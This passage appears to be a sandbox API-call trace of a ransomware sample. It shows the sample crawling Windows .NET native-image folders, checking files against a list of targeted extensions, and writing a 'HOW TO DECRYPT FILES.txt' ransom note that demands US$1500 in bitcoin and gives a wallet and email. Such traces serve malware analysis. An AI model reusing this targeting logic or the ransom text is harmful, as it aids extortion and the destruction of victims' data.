lpString2="System.ServiceModel.Web.ni.dll") returned -1 [0121.062] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.ServiceModel.Web.ni.dll") returned -1 [0121.062] lstrcmpiA (lpString1="", lpString2="System.ServiceModel.Web.ni.dll") returned -1 [0121.062] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servf73e6522#\\5b410f7aa83eb57fe1ff51f926e6a72f\\*.*") returned="*.*" [0121.063] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servf73e6522#\\5b410f7aa83eb57fe1ff51f926e6a72f\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servf73e6522#\\5b410f7aa83eb57fe1ff51f926e6a72f\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servf73e6522#\\5b410f7aa83eb57fe1ff51f926e6a72f\\" [0121.063] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servf73e6522#\\5b410f7aa83eb57fe1ff51f926e6a72f\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servf73e6522#\\5b410f7aa83eb57fe1ff51f926e6a72f\\") returned="" [0121.063] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servf73e6522#\\5b410f7aa83eb57fe1ff51f926e6a72f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servf73e6522#\\5b410f7aa83eb57fe1ff51f926e6a72f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servf73e6522#\\5b410f7aa83eb57fe1ff51f926e6a72f\\HOW TO DECRYPT FILES.txt" [0121.063] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servf73e6522#\\5b410f7aa83eb57fe1ff51f926e6a72f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.servf73e6522#\\5b410f7aa83eb57fe1ff51f926e6a72f\\how to decrypt files.txt")) returned 0xffffffff [0121.063] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servf73e6522#\\5b410f7aa83eb57fe1ff51f926e6a72f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.servf73e6522#\\5b410f7aa83eb57fe1ff51f926e6a72f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0121.065] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0121.066] CloseHandle (hObject=0x90) returned 1 [0121.066] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servf73e6522#\\5b410f7aa83eb57fe1ff51f926e6a72f\\", lpString2="System.ServiceModel.Web.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servf73e6522#\\5b410f7aa83eb57fe1ff51f926e6a72f\\System.ServiceModel.Web.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servf73e6522#\\5b410f7aa83eb57fe1ff51f926e6a72f\\System.ServiceModel.Web.ni.dll" [0121.066] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servf73e6522#\\5b410f7aa83eb57fe1ff51f926e6a72f\\System.ServiceModel.Web.ni.dll", pszSpec="*.ems") returned 0 [0121.066] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b63310, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa5b63310, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa5b63310, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0xc08, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.Web.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0121.066] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0121.066] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.ServiceModel.Web.ni.dll.aux") returned -1 [0121.066] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.ServiceModel.Web.ni.dll.aux") returned -1 [0121.066] lstrcmpiA (lpString1="", lpString2="System.ServiceModel.Web.ni.dll.aux") returned -1 [0121.066] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servf73e6522#\\5b410f7aa83eb57fe1ff51f926e6a72f\\System.ServiceModel.Web.ni.dll") returned="System.ServiceModel.Web.ni.dll" [0121.067] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servf73e6522#\\5b410f7aa83eb57fe1ff51f926e6a72f\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servf73e6522#\\5b410f7aa83eb57fe1ff51f926e6a72f\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servf73e6522#\\5b410f7aa83eb57fe1ff51f926e6a72f\\" [0121.067] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servf73e6522#\\5b410f7aa83eb57fe1ff51f926e6a72f\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servf73e6522#\\5b410f7aa83eb57fe1ff51f926e6a72f\\") returned="" [0121.067] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servf73e6522#\\5b410f7aa83eb57fe1ff51f926e6a72f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servf73e6522#\\5b410f7aa83eb57fe1ff51f926e6a72f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servf73e6522#\\5b410f7aa83eb57fe1ff51f926e6a72f\\HOW TO DECRYPT FILES.txt" [0121.067] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servf73e6522#\\5b410f7aa83eb57fe1ff51f926e6a72f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.servf73e6522#\\5b410f7aa83eb57fe1ff51f926e6a72f\\how to decrypt files.txt")) returned 0x20 [0121.067] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servf73e6522#\\5b410f7aa83eb57fe1ff51f926e6a72f\\", lpString2="System.ServiceModel.Web.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servf73e6522#\\5b410f7aa83eb57fe1ff51f926e6a72f\\System.ServiceModel.Web.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servf73e6522#\\5b410f7aa83eb57fe1ff51f926e6a72f\\System.ServiceModel.Web.ni.dll.aux" [0121.067] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servf73e6522#\\5b410f7aa83eb57fe1ff51f926e6a72f\\System.ServiceModel.Web.ni.dll.aux", pszSpec="*.ems") returned 0 [0121.067] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b63310, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa5b63310, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa5b63310, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0xc08, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.Web.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0121.067] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0121.067] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5b63310, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa5b63310, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa5b63310, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="5b410f7aa83eb57fe1ff51f926e6a72f", cAlternateFileName="5B410F~1")) returned 0 [0121.068] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0121.068] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f801c90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x9f801c90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x9f801c90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.ServiceModel", cAlternateFileName="SY7BF3~1.SER")) returned 1 [0121.068] lstrcmpA (lpString1=".", lpString2="System.ServiceModel") returned -1 [0121.068] lstrcmpA (lpString1="..", lpString2="System.ServiceModel") returned -1 [0121.068] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0121.068] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.ServiceModel" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel" [0121.068] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f801c90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x9f801c90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x9f801c90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0121.123] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0121.123] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f801c90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x9f801c90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x9f801c90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.123] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0121.126] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0121.126] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f801c90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x9f84df50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x9f84df50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="0371737a900d7e56cc065700948f6ff3", cAlternateFileName="037173~1")) returned 1 [0121.128] lstrcmpA (lpString1=".", lpString2="0371737a900d7e56cc065700948f6ff3") returned -1 [0121.128] lstrcmpA (lpString1="..", lpString2="0371737a900d7e56cc065700948f6ff3") returned -1 [0121.128] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\*.*") returned="*.*" [0121.128] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\", lpString2="0371737a900d7e56cc065700948f6ff3" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3" [0121.130] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3") returned 99 [0121.130] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f801c90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x9f84df50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x9f84df50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0121.134] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0121.134] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f801c90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x9f84df50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x9f84df50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.138] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0121.138] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0121.143] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f65ed70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x9f65ed70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x9f8c0370, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x1766a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.ServiceModel.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0121.143] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0121.179] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.ServiceModel.ni.dll") returned -1 [0121.179] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.ServiceModel.ni.dll") returned -1 [0121.179] lstrcmpiA (lpString1="", lpString2="System.ServiceModel.ni.dll") returned -1 [0121.179] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\*.*") returned="*.*" [0121.179] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\" [0121.179] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\") returned="" [0121.179] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\HOW TO DECRYPT FILES.txt" [0121.179] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.servicemodel\\0371737a900d7e56cc065700948f6ff3\\how to decrypt files.txt")) returned 0xffffffff [0121.179] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.servicemodel\\0371737a900d7e56cc065700948f6ff3\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0121.281] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0121.281] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0121.296] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0121.296] CloseHandle (hObject=0x90) returned 1 [0121.296] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\", lpString2="System.ServiceModel.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll" [0121.296] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.ems") returned 0 [0121.296] lstrlenA (lpString="*.ems") returned 5 [0121.296] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.db") returned 0 [0121.296] lstrlenA (lpString="*.db") returned 4 [0121.296] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.dbf") returned 0 [0121.296] lstrlenA (lpString="*.dbf") returned 5 [0121.297] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.myox") returned 0 [0121.297] lstrlenA (lpString="*.myox") returned 6 [0121.297] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.myo") returned 0 [0121.297] lstrlenA (lpString="*.myo") returned 5 [0121.297] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.qbw") returned 0 [0121.297] lstrlenA (lpString="*.qbw") returned 5 [0121.297] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.qbb") returned 0 [0121.297] lstrlenA (lpString="*.qbb") returned 5 [0121.297] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.qbm") returned 0 [0121.297] lstrlenA (lpString="*.qbm") returned 5 [0121.297] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.qbo") returned 0 [0121.297] lstrlenA (lpString="*.qbo") returned 5 [0121.297] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.qbx") returned 0 [0121.297] lstrlenA (lpString="*.qbx") returned 5 [0121.297] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.qba") returned 0 [0121.297] lstrlenA (lpString="*.qba") returned 5 [0121.297] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.qby") returned 0 [0121.297] lstrlenA (lpString="*.qby") returned 5 [0121.297] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.qbj") returned 0 [0121.297] lstrlenA (lpString="*.qbj") returned 5 [0121.297] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.ofx") returned 0 [0121.297] lstrlenA (lpString="*.ofx") returned 5 [0121.297] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.qif") returned 0 [0121.298] lstrlenA (lpString="*.qif") returned 5 [0121.298] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.mye") returned 0 [0121.298] lstrlenA (lpString="*.mye") returned 5 [0121.298] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.mbox") returned 0 [0121.298] lstrlenA (lpString="*.mbox") returned 6 [0121.298] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.eml") returned 0 [0121.298] lstrlenA (lpString="*.eml") returned 5 [0121.298] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.pst") returned 0 [0121.298] lstrlenA (lpString="*.pst") returned 5 [0121.298] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.ost") returned 0 [0121.298] lstrlenA (lpString="*.ost") returned 5 [0121.298] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.idx") returned 0 [0121.298] lstrlenA (lpString="*.idx") returned 5 [0121.298] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.dbx") returned 0 [0121.298] lstrlenA (lpString="*.dbx") returned 5 [0121.298] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.sql") returned 0 [0121.298] lstrlenA (lpString="*.sql") returned 5 [0121.298] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.mdb") returned 0 [0121.298] lstrlenA (lpString="*.mdb") returned 5 [0121.298] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.fdb") returned 0 [0121.298] lstrlenA (lpString="*.fdb") returned 5 [0121.298] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.wab") returned 0 [0121.298] lstrlenA (lpString="*.wab") returned 5 [0121.299] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.dat") returned 0 [0121.299] lstrlenA (lpString="*.dat") returned 5 [0121.299] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.txt") returned 0 [0121.299] lstrlenA (lpString="*.txt") returned 5 [0121.299] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.jpeg") returned 0 [0121.299] lstrlenA (lpString="*.jpeg") returned 6 [0121.299] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.jpg") returned 0 [0121.299] lstrlenA (lpString="*.jpg") returned 5 [0121.299] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\System.ServiceModel.ni.dll", pszSpec="*.png") returned 0 